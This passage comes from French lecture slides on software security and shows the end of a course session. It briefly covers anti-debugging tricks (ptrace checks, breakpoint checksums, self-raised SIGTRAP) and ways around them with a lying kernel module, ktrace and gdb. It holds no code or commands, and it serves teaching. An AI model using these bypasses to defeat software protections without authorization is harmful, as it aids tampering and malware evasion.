⇒ remplacement de l’appel ptrace grace a un module noyau pourqu’il mente Le programme peut aussi essayer de detecter desbreakpoints (codeop 0xcc), par exemple en calculant une sommede controle ⇒ utilisation de ktrace (tracage par le noyau). Leprogramme peut aussi lui meme lever l’interruption 3 et rattraperSIGTRAP pour fonctionner ⇒ c’est le debogueur qui le rattrape⇒ gdb s’en sort automatiquement
SESE : cours 3 53 / 54
A la semaine prochaine